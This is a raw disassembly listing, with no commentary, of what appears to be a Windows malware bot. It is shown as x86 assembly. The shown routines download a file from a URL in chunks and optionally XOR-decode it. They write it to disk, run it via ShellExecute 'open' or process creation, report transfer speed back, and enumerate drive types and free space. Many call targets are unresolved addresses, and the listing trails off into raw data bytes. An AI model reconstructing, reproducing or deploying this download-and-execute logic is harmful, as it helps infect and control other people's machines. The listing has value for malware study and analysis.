		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB65C
		cmp	eax, ebx
		jl	loc_41617C
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617C
		sub	[ebp+8], eax
		jnz	loc_41604A
		mov	edi, [ebp-18h]


loc_4160E7:				; CODE XREF: ___:0041603Fj
		push	dword ptr [ebp-8]
		call	near ptr 26809B4h
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_437B98
		push	eax
		call	sub_41B886


loc_416120:				; CODE XREF: ___:00415FF7j
		add	esp, 14h


loc_416123:				; CODE XREF: ___:00416030j
		cmp	[ebp-50h], esi
		jnz	short loc_416148
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 14h


loc_416148:				; CODE XREF: ___:00416126j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AD
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416160
		push	edi
		call	dword_4CB6DC


loc_416160:				; CODE XREF: ___:00416157j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6DC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	esi
		call	near ptr 2700B29h
		nop


loc_41617C:				; CODE XREF: ___:004160CAj
					; ___:004160D5j
		push	esi
		mov	esi, offset dword_437B80
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		push	esi
		call	sub_4151AD
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6DC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700B29h


loc_4161BD:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2690B48h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429AC0
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 273093Bh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416247
		push	offset unk_437CFC
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_416247:				; CODE XREF: ___:0041623Ej
		push	eax
		nop
		call	near ptr 26809B4h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626F
		push	offset unk_437CCC
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_41626F:				; CODE XREF: ___:00416266j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_4162A0
		push	offset unk_437CAC


loc_41628D:				; CODE XREF: ___:00416245j
					; ___:0041626Dj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639C
; ---------------------------------------------------------------------------


loc_4162A0:				; CODE XREF: ___:00416286j
		mov	esi, 1000h


loc_4162A5:				; CODE XREF: ___:0041630Bj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB65C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636C
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630D
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB640
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB694
		jmp	short loc_4162A5
; ---------------------------------------------------------------------------


loc_41630D:				; CODE XREF: ___:004162D5j
		lea	eax, [ebp-4C4h]
		push	offset dword_437B80
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB6DC
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	1
		call	near ptr 2700B29h
		nop


loc_41636C:				; CODE XREF: ___:004162CCj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437C80
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639C:				; CODE XREF: ___:0041629Bj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C1
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		add	esp, 14h


loc_4163C1:				; CODE XREF: ___:0041639Fj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DC:				; CODE XREF: ___:004163D1j
		cmp	[ebp+8], ebx
		jbe	short loc_4163EA
		push	dword ptr [ebp+8]
		call	dword_4CB6DC


loc_4163EA:				; CODE XREF: ___:004163DFj
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700B29h


loc_4163FA:				; DATA XREF: sub_401ACD+627Ao
					; sub_401ACD+6ABAo
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB5F4
		call	dword_4CB548
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416886
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 273093Bh
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437EC8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4164A4:				; CODE XREF: ___:00416482j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2700B29h


loc_4164C1:				; CODE XREF: ___:00416462j
		xor	edi, edi
		nop
		call	near ptr 26B07C3h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DB:				; CODE XREF: ___:004165AEj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB550
		cmp	[ebp-34h], esi
		jz	short loc_41651F
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EC
		pop	ecx
		pop	ecx


loc_41651F:				; CODE XREF: ___:0041650Cj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2720000h
		cmp	edi, ebx
		jnb	short loc_41655D
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416547
		mov	eax, [ebp+8]


loc_416547:				; CODE XREF: ___:00416542j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655D:				; CODE XREF: ___:00416539j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_41656A
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B4


loc_41656A:				; CODE XREF: ___:00416563j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416584
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437EA0
		jmp	short loc_416594
; ---------------------------------------------------------------------------


loc_416584:				; CODE XREF: ___:00416570j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437E78


loc_416594:				; CODE XREF: ___:00416582j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E380
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DB


loc_4165B4:				; CODE XREF: ___:00416568j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416609
		cmp	edi, [ebp-3Ch]
		jz	short loc_416609
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437E4C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416609:				; CODE XREF: ___:004165BEj
					; ___:004165C3j
		call	near ptr 26B07C3h
		nop
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 26809B4h
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416693
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416693
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437E24
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416693:				; CODE XREF: ___:0041663Bj
					; ___:0041664Dj
		cmp	[ebp-14h], esi
		jz	loc_4168D3
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678E
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437DEC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670E
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_41670E:				; CODE XREF: ___:004166ECj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D3
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB5B0
		cmp	[ebp-30h], esi
		jnz	loc_4168D3
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437DD0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 24h
		jmp	loc_4168D3
; ---------------------------------------------------------------------------


loc_41678E:				; CODE XREF: ___:004166A0j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437D8C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4167F6:				; CODE XREF: ___:004167D4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D7F8
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2680CABh
		cmp	eax, edi
		jnz	short loc_416878
		call	dword_4CB59C
		call	sub_41835A
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416878:				; CODE XREF: ___:00416864j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437D58
		jmp	short loc_416892
; ---------------------------------------------------------------------------


loc_416886:				; CODE XREF: ___:0041643Fj
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437D2C


loc_416892:				; CODE XREF: ___:00416884j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4168C6:				; CODE XREF: ___:004168A4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4168D3:				; CODE XREF: ___:00416696j
					; ___:0041671Fj ...
		push	dword ptr [ebp-18h]
		call	dword_4CB678
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 2700B29h

; =============== S U B	R O U T	I N E =======================================



sub_4168EC	proc near		; CODE XREF: ___:00416518p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416908


loc_4168F8:				; CODE XREF: sub_4168EC+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F8

locret_416908:				; CODE XREF: sub_4168EC+Aj
		retn
sub_4168EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416909	proc near		; CODE XREF: sub_401ACD+5842p
					; sub_401ACD+596Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416923	proc near		; CODE XREF: sub_40F96B+458p
					; sub_40F96B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3278
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416948:				; CODE XREF: sub_416923+5Bj
					; sub_416923+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416986
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416948
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416948
; ---------------------------------------------------------------------------


loc_416986:				; CODE XREF: sub_416923+4Bj
		dec	esi
		mov	eax, edi


loc_416989:				; CODE XREF: sub_416923+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416998
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_416998:				; CODE XREF: sub_416923+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416923	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A2	proc near		; CODE XREF: sub_416B57+51p
					; sub_416B57+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB6A4
		sub	eax, 0
		jz	short loc_4169E5
		dec	eax
		jz	short loc_4169DF
		dec	eax
		dec	eax
		jz	short loc_4169D9
		dec	eax
		jz	short loc_4169D3
		dec	eax
		jz	short loc_4169CD
		dec	eax
		jz	short loc_4169C7
		mov	eax, offset word_437F1C
		retn
; ---------------------------------------------------------------------------


loc_4169C7:				; CODE XREF: sub_4169A2+1Dj
		mov	eax, offset off_437F18
		retn
; ---------------------------------------------------------------------------


loc_4169CD:				; CODE XREF: sub_4169A2+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D3:				; CODE XREF: sub_4169A2+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D9:				; CODE XREF: sub_4169A2+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: sub_4169A2+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E5:				; CODE XREF: sub_4169A2+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EB	proc near		; CODE XREF: sub_416A33+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB534
		test	eax, eax
		jz	short loc_416A20
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A20:				; CODE XREF: sub_4169EB+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A33	proc near		; CODE XREF: sub_416B57+17p
					; sub_41AA43+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EB
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B43
; ---------------------------------------------------------------------------


loc_416B11:				; CODE XREF: sub_416A33+2Cj
					; sub_416A33+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B43:				; CODE XREF: sub_416A33+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B57	proc near		; CODE XREF: sub_416C29+17p
					; sub_416C29+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BCA
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F6C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFE
; ---------------------------------------------------------------------------


loc_416BCA:				; CODE XREF: sub_416B57+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F30
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFE:				; CODE XREF: sub_416B57+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C29	proc near		; CODE XREF: sub_401ACD+2554p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C4A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h
		jmp	short loc_416CAB
; ---------------------------------------------------------------------------


loc_416C4A:				; CODE XREF: sub_416C29+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB5AC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB5AC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA2


loc_416C6E:				; CODE XREF: sub_416C29+77j
		push	offset off_437FA8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C91
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h


loc_416C91:				; CODE XREF: sub_416C29+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6E


loc_416CA2:				; CODE XREF: sub_416C29+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAB:				; CODE XREF: sub_416C29+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C29	endp

; ---------------------------------------------------------------------------
word_416CAE	dw 8B55h		; DATA XREF: sub_401ACD+68A0o
		dd 9CEC81ECh, 8B000004h, 56530845h, 0A7B957h, 0F08B0000h
		dd 0FD64BD8Dh, 0A5F3FFFFh, 29880C7h, 10000h, 858D0000h
		dd 0FFFFFEECh, 42FEE850h, 0DB330000h, 0EB05BC80h, 5CFFFFFEh
		dd 8D147559h, 0FFFEEC85h, 0E5E850FFh, 59000042h, 0EB059C88h
